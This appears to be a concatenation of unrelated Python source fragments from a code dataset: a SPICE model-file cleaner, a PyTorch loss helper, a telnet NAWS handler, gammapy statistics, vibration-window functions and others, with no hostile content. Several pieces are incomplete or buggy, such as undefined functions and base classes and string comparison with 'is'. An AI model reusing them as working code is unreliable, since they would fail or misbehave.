startof_plus_nexttomis = line[:startof_mis].rfind('+') # 找到了第一个紧靠mis左边的+号
startof_equal_nexttomis = line[:startof_mis].rfind('=') # 找到了第一个紧靠mis左边的=号
remain = line[startof_equal_nexttomis:startof_plus_nexttomis] #第一个紧靠mis左边的=号到 mis直接的字符，用于判断是纯数字了，还是数字+参数的格式
# remain 是这样的 "= '0.35 + deta0_ne_1p2 "
original = line[startof_equal_nexttomis:startof_mis+5] #把含_mis'这部分原始的取出来，如"= '0.35 + deta0_ne_1p2 + deta0_ne_1p2_mis'"
if '+' in remain:
for_replacement = remain.strip() + "'"
else:
for_replacement = remain.strip().replace("'","")
line = line.replace(original, for_replacement)
else:
break
return line
# In[8]:
####################测试去除每行中MIS的代码####################################################################################
##################################################################################################################################
# line = "+pnfactor = -3E-14 eta0 = '0.35 + deta0_ne_1p2 + deta0_ne_1p2_mis' peta0 = '-1.81E-15 + dpeta0_ne_1p2'"
# line = "+pnfactor = -3E-14 eta0 = '0.35 + deta0_ne_1p2_mis' peta0 = '-1.81E-15 + dpeta0_ne_1p2'"
# line = "+pnfactor = '0.39 + pnf_ne_1p2_mis' eta0 = '0.35 + deta0_ne_1p2_mis' peta0 = '-1.81E-15 + dpeta0_ne_1p2'"
# while True:
# if '_mis' in line:
# startof_mis = line.rfind('_mis') # 从右向左，找到了_mis的位置
# startof_plus_nexttomis = line[:startof_mis].rfind('+') # 找到了第一个紧靠mis左边的+号
# startof_equal_nexttomis = line[:startof_mis].rfind('=') # 找到了第一个紧靠mis左边的=号
# remain = line[startof_equal_nexttomis:startof_plus_nexttomis] #第一个紧靠mis左边的=号到 mis直接的字符，用于判断是纯数字了，还是数字+参数的格式
# # remain 是这样的 "= '0.35 + deta0_ne_1p2 "
# original = line[startof_equal_nexttomis:startof_mis+5] #把含_mis'这部分原始的取出来，如"= '0.35 + deta0_ne_1p2 + deta0_ne_1p2_mis'"
# if '+' in remain:
# for_replacement = remain.strip() + "'"
# else:
# for_replacement = remain.strip().replace("'","")
# line = line.replace(original, for_replacement)
# else:
# break
# line
##################################################################################################################################
##################################################################################################################################
# In[9]:
# In[10]:
# #########测试cf去除效果################################################################################################
# #######################################################################################################################
# line = "+cf = '0 + 4.5E-11*pre_layout_sw' clc = 1E-7 cle = 0.6"
# line = "+clc = 1E-7 cle = 0.6 cf = '0 + 4.5E-11*pre_layout_sw'"
# line = "+clc = 1E-7 cf = '0 + 4.5E-11*pre_layout_sw cle = 0.6 '"
# print(line)
# startof_cf = line.find('cf')
# startof_pre = line.find("*pre_layout_sw")
# startof_equal = line[:startof_pre].rfind('=')
# startof_plus = line[:startof_pre].rfind('+')
# for_replacement = "=" + line[startof_plus:startof_pre].replace('+',"").strip() # 得到 '=4.5E-11'
# orginal = line[startof_equal:startof_pre+len("*pre_layout_sw'")] # 得到 "= '0 + 4.5E-11*pre_layout_sw'"
# line = line.replace(orginal, for_replacement)
# print(line)
# #######################################################################################################################
# In[11]:
# In[12]:
############用于测试替换cf的代码################################################################################################
##################################################################################################################################
# line = "+cf = '0 + 4.5E-11*pre_layout_sw' clc = 1E-7 cle = 0.6 "
# startof_cf = line.find('cf')
# startof_pre = line.find("*pre_layout_sw")
# startof_equal = line.find('=')
# startof_plus = line[startof_cf:startof_pre].find('+')
# for_replacement = "=" + line[startof_plus:startof_pre].replace('+',"").strip() # 得到 '=4.5E-11'
# orginal = line[startof_equal:startof_pre+len("*pre_layout_sw'")] # 得到 "= '0 + 4.5E-11*pre_layout_sw'"
# line.replace(orginal, for_replacement)
##################################################################################################################################
##################################################################################################################################
# In[13]:
def get_allparams_cleaned_mdl(mydata):
"""输入是被定位出来的含有出事model内容的mdl列表，称为mydata。输出被正则替换掉全部参数的mdl列表"""
# 这一段注释是测试代码，用于验证正则表达式
# pattern = re.compile(r"\'([-]*[0-9.E]*\-*\d*)[+-]*.*?\'") # 这是当初为钟灿写的正则，我现在也看不太懂了。
# for line in mydata:
# if "'" in line:
# print(line)
# print(pattern.findall(line))
pattern = re.compile(r"\'([-]*[0-9.E]*\-*\d*)[+-]*.*?\'") # 这是当初为钟灿写的正则，我现在也看不太懂了。
without_all_params = []
print("现在执行替换全部MDL参数的函数**************************************************************************************")
print("所有的含义参数的行内容如下*****************************************************************************************")
for line in mydata:
if pattern.search(line):
print(line)
# print(pattern.sub(r'\1', line))
line = pattern.sub(r'\1', line)
without_all_params.append(line)
#without_all_params = without_all_params[:-1] # 去掉最后一个 .ends lvnemos4_1p2_lvpw
print("********************************************************************************************************************")
return without_all_params
# In[14]:
# In[15]:
###########处理LIB的部分#########################################################################
corner_param_dict = get_dict_of_lib(LIB_FILENAME)
single_mostype_corner_param_dict = get_dict_of_single_mostype_dict_of_lib(corner_param_dict)
final_lib_part = get_final_lib_part(MOSNAME, single_mostype_corner_param_dict)
###########处理MDL的部分####################################################################
raw_mdl = get_blank_striped_mdl(MDL_FILENAME,MOSNAME)
mis_cleaned_mdl = get_mis_cleaned_mdl(raw_mdl)
cf_cleaned_mdl = get_cf_cleaned_mdl(mis_cleaned_mdl)
allparams_cleaned_mdl = get_allparams_cleaned_mdl(cf_cleaned_mdl)
############################################################################################
final_lib = get_final_lib(final_lib_part, cf_cleaned_mdl)
libfilename = MOSNAME + '.lib_NEW'
pmfilename = MOSNAME + '.pm_NEW'
with open(libfilename, mode='w') as f:
for line in final_lib:
f.writelines(line)
with open(pmfilename, mode='w') as f:
for line in allparams_cleaned_mdl:
f.writelines(line)
input("输入任意键退出！")
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] | 1.979203 | 5,722 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import print_function
import os
import sys
import matplotlib.pyplot as plt
from matplotlib.patches import Rectangle
import warnings
warnings.filterwarnings("ignore")
try:
dataset = sys.argv[1]
data_dir = os.path.join('data', dataset)
except Exception as e:
print("Usage: python3 %s <directory name>" % sys.argv[0])
sys.exit(0)
DATA_FILE_PATH = os.path.join(data_dir, 'data.csv')
IMG_DIR = os.path.join(data_dir, 'JPEGImages')
ax = plt.gca()
with open(DATA_FILE_PATH, 'r') as data_file:
lines = data_file.readlines()
headers = lines[0].strip().split(',')
for line in lines[1:]:
chunks = line.strip().split(',')
label_name = ''
bbox_str = ''
for i, chunk in enumerate(chunks):
if (i != 0 and chunk != '-'):
label_name = headers[i]
bbox_str = chunk
bbox_strs = chunk.split(' ')
x1 = float(bbox_strs[0])
y1 = float(bbox_strs[1])
width = float(bbox_strs[2]) - x1
height = float(bbox_strs[3]) - y1
break
img = plt.imread(os.path.join(IMG_DIR, chunks[0]))
print("[%s] [%d*%d] [%s] [%s]" % (chunks[0], img.shape[1], img.shape[0], label_name, bbox_str), end='')
sys.stdout.flush()
plt.imshow(img)
rect = Rectangle((x1, y1), width, height)
rect.set_edgecolor('yellow')
rect.set_facecolor('none')
ax.add_patch(rect)
plt.pause(0.001)
input("")
rect.remove()
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] | 2.149211 | 697 |
import torch
import torch.nn.functional as F
from torch.nn import init
import numpy as np
from scipy.stats import truncnorm
def init_weights(net, init_type='normal', init_gain=0.02):
"""Initialize network weights.
Modified from: https://github.com/baudm/MONet-pytorch/blob/master/models/networks.py
Parameters:
net (network) -- network to be initialized
init_type (str) -- the name of an initialization method: normal | xavier | kaiming | orthogonal
init_gain (float) -- scaling factor for normal, xavier and orthogonal.
We use 'normal' in the original pix2pix and CycleGAN paper. But xavier and kaiming might
work better for some applications. Feel free to try yourself.
"""
net.apply(init_func)
def gmm_loglikelihood(x_t, x_loc, log_var, mask_logprobs):
"""
mask_logprobs: [N, K, 1, H, W]
"""
# NLL [batch_size, 1, H, W]
sq_err = (x_t.unsqueeze(1) - x_loc).pow(2)
# log N(x; x_loc, log_var): [N, K, C, H, W]
normal_ll = -0.5 * log_var - 0.5 * (sq_err / torch.exp(log_var))
# [N, K, C, H, W]
log_p_k = (mask_logprobs + normal_ll)
# logsumexp over slots [N, C, H, W]
log_p = torch.logsumexp(log_p_k, dim=1)
# [batch_size]
nll = -torch.sum(log_p, dim=[1,2,3])
#upper_bound = torch.logsumexp(mask_logprobs - 0.5 * (sq_err / torch.exp(log_var)), dim=1) # [N, C, H, W]
#upper_bound = torch.sum(upper_bound, dim=[1,2,3]) # [N]
return nll, {'log_p_k': log_p_k, 'normal_ll': normal_ll, 'ub': None}
def get_log_var_grad(val_dataloader, model, geco, seq_len, aggregate_over=20):
"""
assume batch_size is 1, compu
"""
opt = torch.optim.SGD(model.parameters(), lr=1)
model.train()
num_grads = 0
for p in model.module.relational_dynamics.parameters():
if p.requires_grad:
num_grads += 1
grads = [[] for i in range(num_grads)]
logvargrads = [[] for i in range(num_grads)]
for i,batch in enumerate(val_dataloader):
imgs = batch['imgs'].to('cuda')
imgs = imgs[:,:seq_len]
model_outs = model(imgs, geco, i, None)
opt.zero_grad()
total_loss = model_outs['total_loss'] # [1] for sample size 1
total_loss.backward()
torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=5.)
# for each parameter, flatten and store
j = 0
for p in model.module.relational_dynamics.parameters():
if p.requires_grad:
grads[j] += [p.grad.view(-1)]
j += 1
if len(grads[0]) == aggregate_over:
print('aggregating at {}'.format(i))
for j,g in enumerate(grads):
all_grad = torch.stack(g).data.cpu().numpy() # [aggregate, dim]
logvargrads[j] += [np.mean(np.log(np.var(all_grad, 1)+1e-6))]
# reset
grads = [[] for i in range(num_grads)]
lvg_ = 0
for lvg in logvargrads:
lvg_ += np.mean(lvg)
lvg_ = lvg_ / len(logvargrads)
return lvg_
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] | 2.13883 | 1,419 |
import numpy as np # linear algebra
import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)
from stockstats import StockDataFrame
import warnings
import traceback
warnings.filterwarnings('ignore')
import argparse
import re
import sys, os
sys.path.append(os.getcwd())
import os
import requests
from requests.exceptions import ConnectionError
import bs4
from bs4 import BeautifulSoup
from fastnumbers import isfloat
from fastnumbers import fast_float
from multiprocessing.dummy import Pool as ThreadPool
import more_itertools
from random import shuffle
import matplotlib.pyplot as plt
import seaborn as sns
from datetime import datetime
import json
import seaborn as sns
sns.set_style('whitegrid')
import numpy as np # linear algebra
import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)
import matplotlib as mplt
import matplotlib.pyplot as plt
from sklearn.model_selection import train_test_split
from sklearn.metrics import mean_squared_error
from sklearn.ensemble import RandomForestRegressor
from sklearn.metrics import explained_variance_score
from sklearn.preprocessing import LabelEncoder
from sklearn.metrics import confusion_matrix
from sklearn.model_selection import GridSearchCV
import matplotlib.dates as mdates
import seaborn as sns
import math
import gc
import ipaddress
from urllib.parse import urlparse
from sklearn.metrics import confusion_matrix
from sklearn.preprocessing import StandardScaler
from sklearn.neural_network import MLPClassifier
from data_science_utils import dataframe as df_utils
from data_science_utils import models as model_utils
from data_science_utils.dataframe import column as column_utils
from data_science_utils.models.IdentityScaler import IdentityScaler as IdentityScaler
from xgboost import XGBClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score
from sklearn.metrics import confusion_matrix,classification_report
import lightgbm as lgb
np.set_printoptions(threshold=np.nan)
import pickle
from xgboost import XGBClassifier
import xgboost as xgb
from sklearn.metrics import accuracy_score
import missingno as msno
from sklearn.metrics import f1_score
from sklearn.metrics import precision_score
from sklearn.metrics import recall_score
from sklearn.preprocessing import StandardScaler
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from sklearn import datasets
from sklearn.decomposition import PCA
import datetime
from scipy import signal
import matplotlib.pyplot as plt
from datetime import timedelta
from sklearn import linear_model
from sklearn.metrics import roc_auc_score
from IPython.display import display, HTML
import warnings
warnings.filterwarnings('ignore')
from data_science_utils.misc import ffloat
from data_science_utils.misc import is_dataframe
from data_science_utils.misc import ffloat_list
from data_science_utils.misc import remove_multiple_spaces
from datetime import date, timedelta
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628,
628,
628,
628,
628,
628,
628,
628,
628,
628,
628,
628,
628
] | 3.459336 | 873 |
import json , requests , asyncio , logging
logging.basicConfig(format='%(asctime)s - %(message)s', datefmt='%d-%b-%y %H:%M:%S')
| [
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] | 1.986842 | 76 |
"""
NAWS - Negotiate About Window Size
This implements the NAWS telnet option as per
https://www.ietf.org/rfc/rfc1073.txt
NAWS allows telnet clients to report their
current window size to the client and update
it when the size changes
"""
from django.conf import settings
from src.utils import utils
NAWS = chr(31)
IS = chr(0)
# default taken from telnet specification
DEFAULT_WIDTH = settings.CLIENT_DEFAULT_WIDTH
DEFAULT_HEIGHT = settings.CLIENT_DEFAULT_HEIGHT
# try to get the customized mssp info, if it exists.
class Naws(object):
"""
Implements the MSSP protocol. Add this to a
variable on the telnet protocol to set it up.
"""
def __init__(self, protocol):
"""
initialize NAWS by storing protocol on ourselves
and calling the client to see if it supports
NAWS.
"""
self.naws_step = 0
self.protocol = protocol
self.protocol.protocol_flags['SCREENWIDTH'] = {0: DEFAULT_WIDTH} # windowID (0 is root):width
self.protocol.protocol_flags['SCREENHEIGHT'] = {0: DEFAULT_HEIGHT} # windowID:width
self.protocol.negotiationMap[NAWS] = self.negotiate_sizes
self.protocol.do(NAWS).addCallbacks(self.do_naws, self.no_naws)
def no_naws(self, option):
"""
This is the normal operation.
"""
self.protocol.handshake_done()
def do_naws(self, option):
"""
Negotiate all the information.
"""
self.protocol.handshake_done()
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220,
220,
220,
2116,
13,
11235,
4668,
13,
4993,
32431,
62,
28060,
3419,
628
] | 2.498333 | 600 |
# _*_ encoding:utf-8 _*_
from __future__ import unicode_literals
from datetime import datetime
# from DjangoUeditor.models import UEditorField
from django.db import models
from organization.models import DramaOrg, Author
| [
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"""
This file handles the checkout of books, with log entry added
"""
import database as db
# member_id is a 4-digit numebr and checkout_list is a list containing the full detail of the book being checked out
def go(checkout_list = [], member_id = "0"):
"""
This function takes in a list of books and a member id,
then modify the database.txt file so that these books are borrowed
by this member
"""
# since only the available books can be add to the checkout_list, there is no need to check again
for target_book in checkout_list:
result = db.modify_member_id(target_book[0], member_id)
# check if this checkout is succeed
if result == 0:
# add log entry
# target_book[0] is book id
db.checkout_log(target_book[0])
# stop checkout process and report back (highly unlikely)
return result
return 0
# test code
if __name__ == "__main__":
# go([
# [['32_0', '"La crise europeene et la premiere guerre mondiale"', 'Pierre Renouvin.', '1/5/2015', '0'],
# ['21_0', '"Institutions of economic growth"', 'J.P.Powelson', '30/3/2015', '0'],
# ])
pass | [
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] | 2.561966 | 468 |
import os
from targets.base_target import Target
from targets.data_target import DataTarget
from targets.dir_target import DirTarget
from targets.errors import (
FileAlreadyExists,
FileSystemException,
MissingParentDirectory,
NotADirectory,
)
from targets.file_target import FileSystemTarget, FileTarget
from targets.fs.file_system import FileSystem
from targets.fs.local import LocalFileSystem
from targets.inmemory_target import InMemoryTarget
from targets.target_factory import target
from targets.utils.atomic import AtomicLocalFile
| [
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] | 3.794521 | 146 |
# Licensed under a 3-clause BSD style license - see LICENSE.rst
import abc
import numpy as np
from scipy.stats import chi2
from gammapy.utils.roots import find_roots
from .fit_statistics import cash, wstat
__all__ = ["WStatCountsStatistic", "CashCountsStatistic"]
class CashCountsStatistic(CountsStatistic):
"""Class to compute statistics (significance, asymmetric errors , ul) for Poisson distributed variable
with known background.
Parameters
----------
n_on : int
Measured counts
mu_bkg : float
Known level of background
"""
@property
def n_bkg(self):
"""Expected background counts"""
return self.mu_bkg
@property
def n_sig(self):
"""Excess"""
return self.n_on - self.n_bkg
@property
def error(self):
"""Approximate error from the covariance matrix."""
return np.sqrt(self.n_on)
@property
def stat_null(self):
"""Stat value for null hypothesis, i.e. 0 expected signal counts"""
return cash(self.n_on, self.mu_bkg + 0)
@property
def stat_max(self):
"""Stat value for best fit hypothesis, i.e. expected signal mu = n_on - mu_bkg"""
return cash(self.n_on, self.n_on)
class WStatCountsStatistic(CountsStatistic):
"""Class to compute statistics (significance, asymmetric errors , ul) for Poisson distributed variable
with unknown background.
Parameters
----------
n_on : int
Measured counts in on region
n_off : int
Measured counts in off region
alpha : float
Acceptance ratio of on and off measurements
mu_sig : float
Expected signal counts in on region
"""
@property
def n_bkg(self):
"""Known background computed alpha * n_off"""
return self.alpha * self.n_off
@property
def n_sig(self):
"""Excess"""
return self.n_on - self.n_bkg - self.mu_sig
@property
def error(self):
"""Approximate error from the covariance matrix."""
return np.sqrt(self.n_on + self.alpha ** 2 * self.n_off)
@property
def stat_null(self):
"""Stat value for null hypothesis, i.e. mu_sig expected signal counts"""
return wstat(self.n_on, self.n_off, self.alpha, self.mu_sig)
@property
def stat_max(self):
"""Stat value for best fit hypothesis, i.e. expected signal mu = n_on - alpha * n_off - mu_sig"""
return wstat(self.n_on, self.n_off, self.alpha, self.n_sig + self.mu_sig)
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198
] | 2.520521 | 999 |
# NAME
#
# C_mail
#
# DESCRIPTION
#
# 'C_mail' is a simple class for handling/abstracting common
# email related activities.
#
# Once setup with address lists, and/or subject text
# it sends body text and inline attachments.
#
# HISTORY
#
# 11 January 2007
# o Initial development implementation.
#
# System imports
import os
import os.path
import sys
import string
import datetime
import smtplib
from cgi import *
from email.MIMEImage import MIMEImage
from email.MIMEText import MIMEText
from email.MIMEMultipart import MIMEMultipart
# 3rd party imports
#from configobj import ConfigObj
# SCIN imports
#from _common.systemMisc import *
#import systemMisc
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44,
3955,
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541,
433,
220,
197,
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44,
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2,
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2,
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13,
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44,
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2,
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220,
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198,
197,
220,
220,
220,
220,
197,
197,
628,
197,
220,
220,
220,
220,
198
] | 2.561594 | 276 |
# -*- coding: utf-8 -*-
import glob
from importlib import import_module
import os
from os import path as op
from mne.utils import _replace_md5, ArgvSetter
# Header markings go:
# 1. =/= : Page title
# 2. = : Command name
# 3. -/- : Command description
# 4. - : Command sections (Examples, Notes)
header = """\
:orphan:
.. _python_commands:
===============================
Command line tools using Python
===============================
.. contents:: Page contents
:local:
:depth: 1
"""
command_rst = """
.. _{0}:
{0}
{1}
.. rst-class:: callout
{2}
"""
# This is useful for testing/iterating to see what the result looks like
if __name__ == '__main__':
generate_commands_rst()
| [
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220,
7716,
62,
9503,
1746,
62,
81,
301,
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198
] | 2.862903 | 248 |
# -*- coding: utf-8 -*-
"""
Created on Sat Jan 22 15:31:32 2022
@author: Akshatha
"""
if __name__ == '__main__':
my_stack = Stack()
my_stack.push(5)
my_stack.disp()
my_stack.push(10)
my_stack.disp()
my_stack.push('game')
my_stack.disp()
print('stack length: ',my_stack.length())
print('popped element: ',my_stack.pop())
my_stack.disp()
print('stack length: ',my_stack.length()) | [
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10786,
25558,
4129,
25,
46083,
1820,
62,
25558,
13,
13664,
28955
] | 2.119048 | 210 |
# coding=utf-8
# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
unicode_literals, with_statement)
import subprocess
from contextlib import contextmanager
@contextmanager
def preserve_stty_settings():
"""Run potentially stty-modifying operations, e.g., REPL execution, in this contextmanager."""
stty_settings = STTYSettings()
stty_settings.save_stty_options()
yield
stty_settings.restore_ssty_options()
class STTYSettings(object):
"""Saves/restores stty settings, e.g., during REPL execution."""
| [
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526,
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198
] | 3.201794 | 223 |
from subprocess import Popen, PIPE, STDOUT
if __name__=="__main__":
import sys
path = sys.argv[1]
duration = GetMovieDuration(path)
FPS = GetMovieFPS(path)
print "duration:", duration
print "FPS:", FPS
| [
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198
] | 2.462366 | 93 |
import shelve
import os
from . import tools
MAIN_DIR = os.path.split(os.path.abspath(__file__))[0]
SHELVE_PATH = os.path.join(MAIN_DIR, 'high_score.txt')
| [
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#Script made for learn diferences on list modification
t = [2,1,3,4,5]
p = [2,1,3,4,5]
chop(p)
print(p)
print(chop(p))
middle(t)
print(t)
print(middle(t))
| [
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] | 1.831579 | 95 |
"""
Signal processing, creation and plotting.
Analysis of data and generation of simulated experiments.
"""
__license__ = "Joseph C. Slater"
__docformat__ = 'reStructuredText'
# import warnings
import numpy as np
import scipy as sp
import scipy.fftpack as fftpack
import scipy.linalg as la
import matplotlib.pyplot as plt
import scipy.integrate as spi
import scipy.signal as signal
"""
Notes:
------
Sept. 3, 2016
Development of windows in scipy.signal has been rapid and
determining what I should build into this module, or simply leverage
from scipy.signal has been a moving target.
It's now apparent that creating or returning a window is pointless. Further,
Applying should be a relatively simple code obviating much of any need for the
code here.
The cross spectrum analysis formerly lacking is now available, periodogram
is usually the best option, however not with impulse excitations. See
`scipy.signal` for this. Unfortunately, the conventions in this module are not
consistent with `scipy.signal`. They follow those of `python-control`
FRF calculation is typically trivial, Hv being an expected gap long term
MIMO FRF calculation is an open question. Pretty printing of FRFs is always
a welcome tool.
System ID is likely the remaining missing aspect at this time.
In order to be consistent with the Control Systems Library, increasing time
or increasing frequency steps positively with increased column number (one
dimension). Rows (0 dimension)
correspond to appropriate channels, output numbers, etc.
For cross spectrum data (cross spectrum density, frequency response function)
the 2 dimension represents the input channel.
The last dimension (2 or 3) indexes each data instance (experiment). That means
that an unaveraged cross spectrum density has dimension 4. If there is only a
single input channel, it is imperative to insist the dimention exist, even if
only length 1. This is analagous to a vector being Nx1 versus simply a
1-D array of length 1.
http://python-control.readthedocs.io/en/latest/conventions.html#time-series-data
Problem: This hasn't been fully implemented.
"""
def window(x, windowname='hanning', normalize=False):
r"""Create leakage window.
Create a window of length :math:`x`, or a window sized to match
:math:`x` that :math:`x\times w` is the windowed result.
Parameters
----------
x: integer, float array
| If integer- number of points in desired hanning windows.
| If array- array provides size of window returned.
windowname: string
One of: hanning, hamming, blackman, flatwin, boxwin
normalize: bool, optional(False)
Adjust power level (for use in ASD) to 1
Returns
-------
w: float array
| window array of size x
| window array. Windowed array is then :math:`x\times w`
Examples
--------
>>> import numpy as np
>>> import vibrationtesting as vt
>>> import matplotlib.pyplot as plt
>>> sample_freq = 1e3
>>> tfinal = 5
>>> fs = 100
>>> A = 10
>>> freq = 5
>>> noise_power = 0.001 * sample_freq / 2
>>> time = np.reshape(np.arange(0, tfinal, 1/sample_freq),(1,-1))
>>> xsin = A*np.sin(2*np.pi*freq*time)
>>> xcos = A*np.cos(2*np.pi*freq*time) # assembling individual records.
>>> x=np.dstack((xsin,xcos)) # assembling individual records. vstack
>>> xw=vt.hanning(x)*x
>>> fig, (ax1, ax2) = plt.subplots(2,1)
>>> ax1.plot(time.T,x[:,:,1].T)
[<matplotlib.lines.Line2D object at ...>]
>>> ax1.set_ylim([-20, 20])
(-20, 20)
>>> ax1.set_title('Original (raw) data.')
Text(0.5,1,'Original (raw) data.')
>>> ax1.set_ylabel('$x(t)$')
Text(0,0.5,'$x(t)$')
>>> ax2.plot(time[0,:],xw[0,:],time[0,:],vt.hanning(x)[0,:]*A,'--',
... time[0,:],-vt.hanning(x)[0,:]*A,'--')
[<matplotlib.lines.Line2D object at ...>]
>>> ax2.set_ylabel('Hanning windowed $x(t)$')
Text(0,0.5,'Hanning windowed $x(t)$')
>>> ax2.set_xlabel('time')
Text(0.5,0,'time')
>>> ax2.set_title('Effect of window. Note the scaling to conserve ASD amplitude')
Text(0.5,1,'Effect of window. Note the scaling to conserve ASD amplitude')
>>> fig.tight_layout()
"""
if isinstance(x, (list, tuple, np.ndarray)):
"""Create Hanning windowing array of dimension `n` by `N` by `nr`
where `N` is number of data points and `n` is the number of number of
inputs or outputs and `nr` is the number of records."""
swap = 0
if len(x.shape) == 1:
# We have either a scalar or 1D array
if x.shape[0] == 1:
print("x is a scalar... and shouldn\'t have entered this \
part of the loop.")
else:
N = len(x)
f = window(N, windowname=windowname)
elif len(x.shape) == 3:
if x.shape[0] > x.shape[1]:
x = np.swapaxes(x, 0, 1)
swap = 1
print('You shouldn\'t do that.')
print('The 1 dimension is the time (or frequency) \
incrementing dimension.')
print('Swapping axes temporarily to be compliant with \
expectations. I\'ll fix them in your result')
N = x.shape[1]
f = window(N, windowname=windowname)
f, _, _ = np.meshgrid(f, np.arange(
x.shape[0]), np.arange(x.shape[2]))
if swap == 1:
f = np.swapaxes(f, 0, 1)
elif len(x.shape) == 2:
if x.shape[0] > x.shape[1]:
x = np.swapaxes(x, 0, 1)
swap = 1
print('You shouldn\'t do that.')
print('The 1 dimension is the time (or frequency) ' +
'incrementing dimension.')
print('Swapping axes temporarily to be compliant with ' +
'expectations.')
print('I\'ll reluctantly return a transposed result.')
f = window(x.shape[1], windowname=windowname)
f, _ = np.meshgrid(f, np.arange(x.shape[0]))
if swap == 1:
f = np.swapaxes(f, 0, 1)
else:
N = x
if windowname is 'hanning':
f = np.sin(np.pi * np.arange(N) / (N - 1))**2 * np.sqrt(8 / 3)
elif windowname is 'hamming':
f = (0.54 - 0.46 * np.cos(2 * np.pi * (np.arange(N)) / (N - 1)))\
* np.sqrt(5000 / 1987)
elif windowname is 'blackman':
print('blackman')
f = (0.42 - 0.5 * np.cos(2 * np.pi * (np.arange(N) + .5) / (N))
+ .08 * np.cos(4 * np.pi * (np.arange(N) + .5) / (N)))\
* np.sqrt(5000 / 1523)
elif windowname is 'flatwin':
f = 1.0 - 1.933 * np.cos(2 * np.pi * (np.arange(N)) / (N - 1))\
+ 1.286 * np.cos(4 * np.pi * (np.arange(N)) / (N - 1))\
- 0.338 * np.cos(6 * np.pi * (np.arange(N)) / (N - 1))\
+ 0.032 * np.cos(8 * np.pi * (np.arange(N)) / (N - 1))
elif windowname is 'boxwin':
f = np.ones((1, N))
else:
f = np.ones((1, N))
print("I don't recognize window name ", windowname, ". Sorry.")
if normalize is True:
f = f / la.norm(f) * np.sqrt(N)
return f
def hanning(x, normalize=False):
r"""Return hanning window.
Create a hanning window of length :math:`x`, or a hanning window sized to
match :math:`x` that :math:`x\times w` is the windowed result.
Parameters
----------
x: integer, float array
| If integer- number of points in desired hanning windows.
| If array- array provides size of window returned.
windowname: string
One of: hanning, hamming, blackman, flatwin, boxwin
normalize: bool, optional(False)
Adjust power level (for use in ASD) to 1
Returns
-------
w: float array
| window array of size x
| window array. Windowed array is then :math:`x\times w`
Examples
--------
>>> import numpy as np
>>> import vibrationtesting as vt
>>> import matplotlib.pyplot as plt
>>> sample_freq = 1e3
>>> tfinal = 5
>>> fs = 100
>>> A = 10
>>> freq = 5
>>> noise_power = 0.001 * sample_freq / 2
>>> time = np.reshape(np.arange(0, tfinal, 1/sample_freq),(1,-1))
>>> xsin = A*np.sin(2*np.pi*freq*time)
>>> xcos = A*np.cos(2*np.pi*freq*time)
>>> x=np.dstack((xsin,xcos)) # assembling individual records. vstack
>>> xw=vt.hanning(x)*x
>>> fig, (ax1, ax2) = plt.subplots(2, 1)
>>> ax1.plot(time.T,x[:,:,1].T)
[<matplotlib.lines.Line2D object at ...>]
>>> ax1.set_ylim([-20, 20])
(-20, 20)
>>> ax1.set_title('Unwindowed data, 2 records.')
Text(0.5,1,'Unwindowed data, 2 records.')
>>> ax1.set_ylabel('$x(t)$')
Text(0,0.5,'$x(t)$')
>>> ax2.plot(time[0,:],xw[0,:],time[0,:],vt.hanning(x)[0,:]*A,
... '--',time[0,:],-vt.hanning(x)[0,:]*A,'--')
[<matplotlib.lines.Line2D object at ...>]
>>> ax2.set_ylabel('Hanning windowed $x(t)$')
Text(0,0.5,'Hanning windowed $x(t)$')
>>> ax2.set_xlabel('time')
Text(0.5,0,'time')
>>> ax2.set_title('Effect of window. Note the scaling to conserve ASD amplitude')
Text(0.5,1,'Effect of window. Note the scaling to conserve ASD amplitude')
>>> fig.tight_layout()
"""
if isinstance(x, (list, tuple, np.ndarray)):
"""Create Hanning windowing array of dimension n by N by nr
where N is number of data points and n is the number of number of
inputs or outputs and nr is the number of records."""
swap = 0
if len(x.shape) == 1:
# We have either a scalar or 1D array
if x.shape[0] == 1:
print("x is a scalar... and shouldn\'t have \
entered this part of the loop.")
else:
N = len(x)
f = hanning(N)
elif len(x.shape) == 3:
# print('a')
# print(f.shape)
if x.shape[0] > x.shape[1]:
x = np.swapaxes(x, 0, 1)
swap = 1
print('Swapping axes temporarily to be compliant with \
expectations. I\'ll fix them in your result')
f = hanning(x.shape[1])
f, _, _ = np.meshgrid(f, np.arange(
x.shape[0]), np.arange(x.shape[2]))
if swap == 1:
f = np.swapaxes(f, 0, 1)
elif len(x.shape) == 2:
# f,_=np.meshgrid(f[0,:],np.arange(x.shape[0]))
# print('b')
# print('length = 2')
# print(x.shape)
if x.shape[0] > x.shape[1]:
x = np.swapaxes(x, 0, 1)
swap = 1
print('Swapping axes temporarily to be compliant with \
expectations. I\'ll fix them in your result')
f = hanning(x.shape[1])
f, _ = np.meshgrid(f, np.arange(x.shape[0]))
if swap == 1:
f = np.swapaxes(f, 0, 1)
else:
# print(x)
# Create hanning window of length x
N = x
# print(N)
f = np.sin(np.pi * np.arange(N) / (N - 1))**2 * np.sqrt(8 / 3)
if normalize is True:
f = f / la.norm(f) * np.sqrt(N)
return f
def blackwin(x):
"""Return the n point Blackman window.
Returns x as the Blackman windowing array x_window
The windowed signal is then x*x_window
"""
print('blackwin is untested')
if isinstance(x, (list, tuple, np.ndarray)):
n = x.shape[1]
f = blackwin(n)
if len(x.shape) == 3:
f, _, _ = np.meshgrid(f[0, :], np.arange(
x.shape[0]), np.arange(x.shape[2]))
else:
f, _ = np.meshgrid(f[0, :], np.arange(x.shape[0]))
else:
n = x
f = np.reshape((0.42 - 0.5 * np.cos(2 * np.pi * (np.arange(n) + .5)) /
(n) + .08 * np.cos(4 * np.pi * (np.arange(n) + .5)) /
(n)) * np.sqrt(5000 / 1523), (1, -1))
f = f / la.norm(f) * np.sqrt(n)
return f
def expwin(x, ts=.75):
"""Return the n point exponential window.
Returns x as the expwin windowing array x_windowed
The windowed signal is then x*x_window
The optional second argument set the 5% "settling time" of the window.
Default is ts=0.75
"""
print('expwin is untested')
tc = -ts / np.log(.05)
if isinstance(x, (list, tuple, np.ndarray)):
n = x.shape[1]
f = expwin(n)
if len(x.shape) == 3:
